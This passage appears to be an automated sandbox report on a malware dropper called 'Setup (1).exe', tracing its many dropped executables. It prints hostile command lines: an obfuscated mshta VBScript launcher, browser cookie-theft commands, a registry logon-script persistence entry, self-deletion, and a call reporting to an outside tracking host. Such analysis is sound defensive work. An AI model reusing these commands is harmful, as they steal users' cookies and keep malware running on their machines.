ftheFeGtFWuwh8ShCbJcw_BN.exeR6si1fm6XvA3RA_bWwb5j1Yb.execmd.exebjEkTLAKREFhrRE3cE3zjvJ3.exeLLbcuSJyNRAiE88YdNdIEnwJ.exeWerFault.exeWerFault.exeWerFault.exe6kM0bbl7TbQnxaDwdm3LwFFU.exeWerFault.exeWerFault.exe0KN1fzGKzvuOqJllZO1YigIB.exeeR_LZQDvKiqIXpAZFNo2bziu.exePezkng2A1qyN7cHgrFLtvbrv.exedescription pid process Token: SeDebugPrivilege 3816 ftheFeGtFWuwh8ShCbJcw_BN.exe Token: SeDebugPrivilege 4004 R6si1fm6XvA3RA_bWwb5j1Yb.exe Token: SeDebugPrivilege 2196 cmd.exe Token: SeDebugPrivilege 3852 bjEkTLAKREFhrRE3cE3zjvJ3.exe Token: SeDebugPrivilege 3760 LLbcuSJyNRAiE88YdNdIEnwJ.exe Token: SeShutdownPrivilege 3044 Token: SeCreatePagefilePrivilege 3044 Token: SeShutdownPrivilege 3044 Token: SeCreatePagefilePrivilege 3044 Token: SeShutdownPrivilege 3044 Token: SeCreatePagefilePrivilege 3044 Token: SeShutdownPrivilege 3044 Token: SeCreatePagefilePrivilege 3044 Token: SeShutdownPrivilege 3044 Token: SeCreatePagefilePrivilege 3044 Token: SeRestorePrivilege 2936 WerFault.exe Token: SeBackupPrivilege 2936 WerFault.exe Token: SeRestorePrivilege 592 WerFault.exe Token: SeBackupPrivilege 592 WerFault.exe Token: SeBackupPrivilege 592 WerFault.exe Token: SeShutdownPrivilege 3044 Token: SeCreatePagefilePrivilege 3044 Token: SeShutdownPrivilege 3044 Token: SeCreatePagefilePrivilege 3044 Token: SeDebugPrivilege 2936 WerFault.exe Token: SeDebugPrivilege 592 WerFault.exe Token: SeDebugPrivilege 1056 WerFault.exe Token: SeShutdownPrivilege 3044 Token: SeCreatePagefilePrivilege 3044 Token: SeShutdownPrivilege 3044 Token: SeCreatePagefilePrivilege 3044 Token: SeShutdownPrivilege 3044 Token: SeCreatePagefilePrivilege 3044 Token: SeShutdownPrivilege 3044 Token: SeCreatePagefilePrivilege 3044 Token: SeShutdownPrivilege 3044 Token: SeCreatePagefilePrivilege 3044 Token: SeShutdownPrivilege 3044 Token: SeCreatePagefilePrivilege 3044 Token: SeDebugPrivilege 2560 6kM0bbl7TbQnxaDwdm3LwFFU.exe Token: SeDebugPrivilege 2472 WerFault.exe Token: SeDebugPrivilege 2064 WerFault.exe Token: SeDebugPrivilege 2184 0KN1fzGKzvuOqJllZO1YigIB.exe Token: SeDebugPrivilege 4880 eR_LZQDvKiqIXpAZFNo2bziu.exe Token: SeShutdownPrivilege 3044 Token: SeCreatePagefilePrivilege 3044 Token: SeShutdownPrivilege 3044 Token: SeCreatePagefilePrivilege 3044 Token: SeDebugPrivilege 4976 Pezkng2A1qyN7cHgrFLtvbrv.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
KaUfY51I9pRZrEtSKapzEcyQ.tmppid process 4736 KaUfY51I9pRZrEtSKapzEcyQ.tmp -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Setup (1).exedescription pid process target process PID 3840 wrote to memory of 2136 3840 Setup (1).exe Qnmbo6J0MHSd807SNSlgMMg6.exe PID 3840 wrote to memory of 2136 3840 Setup (1).exe Qnmbo6J0MHSd807SNSlgMMg6.exe PID 3840 wrote to memory of 2136 3840 Setup (1).exe Qnmbo6J0MHSd807SNSlgMMg6.exe PID 3840 wrote to memory of 2560 3840 Setup (1).exe 6kM0bbl7TbQnxaDwdm3LwFFU.exe PID 3840 wrote to memory of 2560 3840 Setup (1).exe 6kM0bbl7TbQnxaDwdm3LwFFU.exe PID 3840 wrote to memory of 2560 3840 Setup (1).exe 6kM0bbl7TbQnxaDwdm3LwFFU.exe PID 3840 wrote to memory of 2108 3840 Setup (1).exe nPXIFCS6nid5iQzaEDL9skVd.exe PID 3840 wrote to memory of 2108 3840 Setup (1).exe nPXIFCS6nid5iQzaEDL9skVd.exe PID 3840 wrote to memory of 2108 3840 Setup (1).exe nPXIFCS6nid5iQzaEDL9skVd.exe PID 3840 wrote to memory of 2348 3840 Setup (1).exe Pezkng2A1qyN7cHgrFLtvbrv.exe PID 3840 wrote to memory of 2348 3840 Setup (1).exe Pezkng2A1qyN7cHgrFLtvbrv.exe PID 3840 wrote to memory of 2348 3840 Setup (1).exe Pezkng2A1qyN7cHgrFLtvbrv.exe PID 3840 wrote to memory of 1916 3840 Setup (1).exe eR_LZQDvKiqIXpAZFNo2bziu.exe PID 3840 wrote to memory of 1916 3840 Setup (1).exe eR_LZQDvKiqIXpAZFNo2bziu.exe PID 3840 wrote to memory of 1916 3840 Setup (1).exe eR_LZQDvKiqIXpAZFNo2bziu.exe PID 3840 wrote to memory of 1856 3840 Setup (1).exe 2AUbxbfugguQVBcIbOICKqfT.exe PID 3840 wrote to memory of 1856 3840 Setup (1).exe 2AUbxbfugguQVBcIbOICKqfT.exe PID 3840 wrote to memory of 1856 3840 Setup (1).exe 2AUbxbfugguQVBcIbOICKqfT.exe PID 3840 wrote to memory of 2116 3840 Setup (1).exe GKSGBSf1brVbVHBWvH99SBd2.exe PID 3840 wrote to memory of 2116 3840 Setup (1).exe GKSGBSf1brVbVHBWvH99SBd2.exe PID 3840 wrote to memory of 2116 3840 Setup (1).exe GKSGBSf1brVbVHBWvH99SBd2.exe PID 3840 wrote to memory of 1308 3840 Setup (1).exe vhdIXjIkuJWOR9HBUSnyOcI5.exe PID 3840 wrote to memory of 1308 3840 Setup (1).exe vhdIXjIkuJWOR9HBUSnyOcI5.exe PID 3840 wrote to memory of 1308 3840 Setup (1).exe vhdIXjIkuJWOR9HBUSnyOcI5.exe PID 3840 wrote to memory of 8 3840 Setup (1).exe TQGL13W3ldrdlAz3gtJavspH.exe PID 3840 wrote to memory of 8 3840 Setup (1).exe TQGL13W3ldrdlAz3gtJavspH.exe PID 3840 wrote to memory of 8 3840 Setup (1).exe TQGL13W3ldrdlAz3gtJavspH.exe PID 3840 wrote to memory of 2860 3840 Setup (1).exe uQAy0YAbjDmbHIXWJnCO6Rmg.exe PID 3840 wrote to memory of 2860 3840 Setup (1).exe uQAy0YAbjDmbHIXWJnCO6Rmg.exe PID 3840 wrote to memory of 2860 3840 Setup (1).exe uQAy0YAbjDmbHIXWJnCO6Rmg.exe PID 3840 wrote to memory of 2184 3840 Setup (1).exe 0KN1fzGKzvuOqJllZO1YigIB.exe PID 3840 wrote to memory of 2184 3840 Setup (1).exe 0KN1fzGKzvuOqJllZO1YigIB.exe PID 3840 wrote to memory of 2184 3840 Setup (1).exe 0KN1fzGKzvuOqJllZO1YigIB.exe PID 3840 wrote to memory of 3816 3840 Setup (1).exe ftheFeGtFWuwh8ShCbJcw_BN.exe PID 3840 wrote to memory of 3816 3840 Setup (1).exe ftheFeGtFWuwh8ShCbJcw_BN.exe PID 3840 wrote to memory of 4004 3840 Setup (1).exe R6si1fm6XvA3RA_bWwb5j1Yb.exe PID 3840 wrote to memory of 4004 3840 Setup (1).exe R6si1fm6XvA3RA_bWwb5j1Yb.exe PID 3840 wrote to memory of 4004 3840 Setup (1).exe R6si1fm6XvA3RA_bWwb5j1Yb.exe PID 3840 wrote to memory of 2196 3840 Setup (1).exe zwH46fx5Dts1upN7YMehKprH.exe PID 3840 wrote to memory of 2196 3840 Setup (1).exe zwH46fx5Dts1upN7YMehKprH.exe PID 3840 wrote to memory of 3244 3840 Setup (1).exe DXTtuzpoSirul5anW2FLTvKd.exe PID 3840 wrote to memory of 3244 3840 Setup (1).exe DXTtuzpoSirul5anW2FLTvKd.exe PID 3840 wrote to memory of 3244 3840 Setup (1).exe DXTtuzpoSirul5anW2FLTvKd.exe PID 3840 wrote to memory of 788 3840 Setup (1).exe jIjRQ2QRNj9jis0_rYIp7yC4.exe PID 3840 wrote to memory of 788 3840 Setup (1).exe jIjRQ2QRNj9jis0_rYIp7yC4.exe PID 3840 wrote to memory of 788 3840 Setup (1).exe jIjRQ2QRNj9jis0_rYIp7yC4.exe PID 3840 wrote to memory of 584 3840 Setup (1).exe wcTWmcrBN98BymzN5PG2Wn5m.exe PID 3840 wrote to memory of 584 3840 Setup (1).exe wcTWmcrBN98BymzN5PG2Wn5m.exe PID 3840 wrote to memory of 584 3840 Setup (1).exe wcTWmcrBN98BymzN5PG2Wn5m.exe PID 3840 wrote to memory of 3912 3840 Setup (1).exe 6lvVD7a2qKBOPowk5num88oQ.exe PID 3840 wrote to memory of 3912 3840 Setup (1).exe 6lvVD7a2qKBOPowk5num88oQ.exe PID 3840 wrote to memory of 3912 3840 Setup (1).exe 6lvVD7a2qKBOPowk5num88oQ.exe PID 3840 wrote to memory of 3760 3840 Setup (1).exe LLbcuSJyNRAiE88YdNdIEnwJ.exe PID 3840 wrote to memory of 3760 3840 Setup (1).exe LLbcuSJyNRAiE88YdNdIEnwJ.exe PID 3840 wrote to memory of 3760 3840 Setup (1).exe LLbcuSJyNRAiE88YdNdIEnwJ.exe PID 3840 wrote to memory of 3764 3840 Setup (1).exe lfm9s9OaPPsGveZxvcn7CDdS.exe PID 3840 wrote to memory of 3764 3840 Setup (1).exe lfm9s9OaPPsGveZxvcn7CDdS.exe PID 3840 wrote to memory of 3764 3840 Setup (1).exe lfm9s9OaPPsGveZxvcn7CDdS.exe PID 3840 wrote to memory of 2204 3840 Setup (1).exe 1E5Frw7tvLuGLXgX8nVZP7w_.exe PID 3840 wrote to memory of 2204 3840 Setup (1).exe 1E5Frw7tvLuGLXgX8nVZP7w_.exe PID 3840 wrote to memory of 2204 3840 Setup (1).exe 1E5Frw7tvLuGLXgX8nVZP7w_.exe PID 3840 wrote to memory of 900 3840 Setup (1).exe sF6HEN7LB6zA6tCAa9vPX02Y.exe PID 3840 wrote to memory of 900 3840 Setup (1).exe sF6HEN7LB6zA6tCAa9vPX02Y.exe PID 3840 wrote to memory of 900 3840 Setup (1).exe sF6HEN7LB6zA6tCAa9vPX02Y.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup (1).exe"C:\Users\Admin\AppData\Local\Temp\Setup (1).exe"1⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\6kM0bbl7TbQnxaDwdm3LwFFU.exe"C:\Users\Admin\Documents\6kM0bbl7TbQnxaDwdm3LwFFU.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\Qnmbo6J0MHSd807SNSlgMMg6.exe"C:\Users\Admin\Documents\Qnmbo6J0MHSd807SNSlgMMg6.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\Qnmbo6J0MHSd807SNSlgMMg6.exe"C:\Users\Admin\Documents\Qnmbo6J0MHSd807SNSlgMMg6.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Documents\R6si1fm6XvA3RA_bWwb5j1Yb.exe"C:\Users\Admin\Documents\R6si1fm6XvA3RA_bWwb5j1Yb.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\R6si1fm6XvA3RA_bWwb5j1Yb.exe"C:\Users\Admin\Documents\R6si1fm6XvA3RA_bWwb5j1Yb.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\ftheFeGtFWuwh8ShCbJcw_BN.exe"C:\Users\Admin\Documents\ftheFeGtFWuwh8ShCbJcw_BN.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\0KN1fzGKzvuOqJllZO1YigIB.exe"C:\Users\Admin\Documents\0KN1fzGKzvuOqJllZO1YigIB.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\uQAy0YAbjDmbHIXWJnCO6Rmg.exe"C:\Users\Admin\Documents\uQAy0YAbjDmbHIXWJnCO6Rmg.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\TQGL13W3ldrdlAz3gtJavspH.exe"C:\Users\Admin\Documents\TQGL13W3ldrdlAz3gtJavspH.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\TQGL13W3ldrdlAz3gtJavspH.exe"C:\Users\Admin\Documents\TQGL13W3ldrdlAz3gtJavspH.exe"3⤵
-
C:\Users\Admin\Documents\2AUbxbfugguQVBcIbOICKqfT.exe"C:\Users\Admin\Documents\2AUbxbfugguQVBcIbOICKqfT.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\GKSGBSf1brVbVHBWvH99SBd2.exe"C:\Users\Admin\Documents\GKSGBSf1brVbVHBWvH99SBd2.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\eR_LZQDvKiqIXpAZFNo2bziu.exe"C:\Users\Admin\Documents\eR_LZQDvKiqIXpAZFNo2bziu.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\eR_LZQDvKiqIXpAZFNo2bziu.exeC:\Users\Admin\Documents\eR_LZQDvKiqIXpAZFNo2bziu.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\vhdIXjIkuJWOR9HBUSnyOcI5.exe"C:\Users\Admin\Documents\vhdIXjIkuJWOR9HBUSnyOcI5.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\Pezkng2A1qyN7cHgrFLtvbrv.exe"C:\Users\Admin\Documents\Pezkng2A1qyN7cHgrFLtvbrv.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\Pezkng2A1qyN7cHgrFLtvbrv.exeC:\Users\Admin\Documents\Pezkng2A1qyN7cHgrFLtvbrv.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\nPXIFCS6nid5iQzaEDL9skVd.exe"C:\Users\Admin\Documents\nPXIFCS6nid5iQzaEDL9skVd.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2108 -s 4803⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\DXTtuzpoSirul5anW2FLTvKd.exe"C:\Users\Admin\Documents\DXTtuzpoSirul5anW2FLTvKd.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3244 -s 16323⤵
- Program crash
-
C:\Users\Admin\Documents\zwH46fx5Dts1upN7YMehKprH.exe"C:\Users\Admin\Documents\zwH46fx5Dts1upN7YMehKprH.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\4834805.exe"C:\Users\Admin\AppData\Roaming\4834805.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\4782600.exe"C:\Users\Admin\AppData\Roaming\4782600.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\1074739.exe"C:\Users\Admin\AppData\Roaming\1074739.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\5035742.exe"C:\Users\Admin\AppData\Roaming\5035742.exe"3⤵
-
C:\Users\Admin\Documents\jIjRQ2QRNj9jis0_rYIp7yC4.exe"C:\Users\Admin\Documents\jIjRQ2QRNj9jis0_rYIp7yC4.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\jIjRQ2QRNj9jis0_rYIp7yC4.exeC:\Users\Admin\Documents\jIjRQ2QRNj9jis0_rYIp7yC4.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\jIjRQ2QRNj9jis0_rYIp7yC4.exeC:\Users\Admin\Documents\jIjRQ2QRNj9jis0_rYIp7yC4.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\wcTWmcrBN98BymzN5PG2Wn5m.exe"C:\Users\Admin\Documents\wcTWmcrBN98BymzN5PG2Wn5m.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\6lvVD7a2qKBOPowk5num88oQ.exe"C:\Users\Admin\Documents\6lvVD7a2qKBOPowk5num88oQ.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\LLbcuSJyNRAiE88YdNdIEnwJ.exe"C:\Users\Admin\Documents\LLbcuSJyNRAiE88YdNdIEnwJ.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\yorCmsAhQb0WdjFwkRC8ys5H.exe"C:\Users\Admin\Documents\yorCmsAhQb0WdjFwkRC8ys5H.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\yorCmsAhQb0WdjFwkRC8ys5H.exe"C:\Users\Admin\Documents\yorCmsAhQb0WdjFwkRC8ys5H.exe" -q3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\bjEkTLAKREFhrRE3cE3zjvJ3.exe"C:\Users\Admin\Documents\bjEkTLAKREFhrRE3cE3zjvJ3.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\sF6HEN7LB6zA6tCAa9vPX02Y.exe"C:\Users\Admin\Documents\sF6HEN7LB6zA6tCAa9vPX02Y.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 900 -s 6603⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 900 -s 6803⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 900 -s 6323⤵
- Drops file in Windows directory
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 900 -s 6563⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 900 -s 11123⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 900 -s 11523⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 900 -s 11043⤵
- Program crash
-
C:\Users\Admin\Documents\jw1Af08Vv7VCmKzHS5yRBD_W.exe"C:\Users\Admin\Documents\jw1Af08Vv7VCmKzHS5yRBD_W.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRiPt: CLoSe( crEAteOBJeCt ( "wscrIPt.SHelL" ). RUN("C:\Windows\system32\cmd.exe /c cOPY /y ""C:\Users\Admin\Documents\jw1Af08Vv7VCmKzHS5yRBD_W.exe"" hBS_VbW.EXE && StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF """" == """" for %A In (""C:\Users\Admin\Documents\jw1Af08Vv7VCmKzHS5yRBD_W.exe"" ) do taskkill -f -iM ""%~NxA"" ",0 , TRUE) )3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cOPY /y "C:\Users\Admin\Documents\jw1Af08Vv7VCmKzHS5yRBD_W.exe" hBS_VbW.EXE&&StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF "" =="" for %A In ("C:\Users\Admin\Documents\jw1Af08Vv7VCmKzHS5yRBD_W.exe" ) do taskkill -f -iM "%~NxA"4⤵
-
C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXEhbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRiPt: CLoSe( crEAteOBJeCt ( "wscrIPt.SHelL" ). RUN("C:\Windows\system32\cmd.exe /c cOPY /y ""C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE"" hBS_VbW.EXE && StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF ""-p3auHHA5Pn7qj14hc1xRG9TH8FS "" == """" for %A In (""C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE"" ) do taskkill -f -iM ""%~NxA"" ",0 , TRUE) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cOPY /y "C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE" hBS_VbW.EXE&&StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF "-p3auHHA5Pn7qj14hc1xRG9TH8FS " =="" for %A In ("C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE" ) do taskkill -f -iM "%~NxA"7⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" .\QnEJR.fPC,a6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "jw1Af08Vv7VCmKzHS5yRBD_W.exe"5⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\1E5Frw7tvLuGLXgX8nVZP7w_.exe"C:\Users\Admin\Documents\1E5Frw7tvLuGLXgX8nVZP7w_.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 6603⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 6803⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 6443⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 7043⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 11203⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 11603⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 11603⤵
- Program crash
-
C:\Users\Admin\Documents\lfm9s9OaPPsGveZxvcn7CDdS.exe"C:\Users\Admin\Documents\lfm9s9OaPPsGveZxvcn7CDdS.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\jooyu.exe"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Company\NewProduct\customer3.exe"C:\Program Files (x86)\Company\NewProduct\customer3.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\Documents\KaUfY51I9pRZrEtSKapzEcyQ.exe"C:\Users\Admin\Documents\KaUfY51I9pRZrEtSKapzEcyQ.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-LCFCE.tmp\KaUfY51I9pRZrEtSKapzEcyQ.tmp"C:\Users\Admin\AppData\Local\Temp\is-LCFCE.tmp\KaUfY51I9pRZrEtSKapzEcyQ.tmp" /SL5="$202A0,138429,56832,C:\Users\Admin\Documents\KaUfY51I9pRZrEtSKapzEcyQ.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-OFFE1.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-OFFE1.tmp\Setup.exe" /Verysilent4⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"5⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe"C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-LOTT0.tmp\Inlog.tmp"C:\Users\Admin\AppData\Local\Temp\is-LOTT0.tmp\Inlog.tmp" /SL5="$10352,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-46MP9.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-46MP9.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 7217⤵
-
C:\Users\Admin\AppData\Local\Temp\is-BL6SC.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-BL6SC.tmp\Setup.tmp" /SL5="$1056C,17361482,721408,C:\Users\Admin\AppData\Local\Temp\is-46MP9.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 7218⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-B4E22.tmp\{app}\microsoft.cab -F:* %ProgramData%9⤵
-
C:\Windows\SysWOW64\expand.exeexpand C:\Users\Admin\AppData\Local\Temp\is-B4E22.tmp\{app}\microsoft.cab -F:* C:\ProgramData10⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f9⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f10⤵
-
C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-B4E22.tmp\{app}\vdi_compiler.exe"C:\Users\Admin\AppData\Local\Temp\is-B4E22.tmp\{app}\vdi_compiler"9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-B4E22.tmp\{app}\vdi_compiler.exe"10⤵
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 411⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://trecker33442aq.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^¶m=7219⤵
-
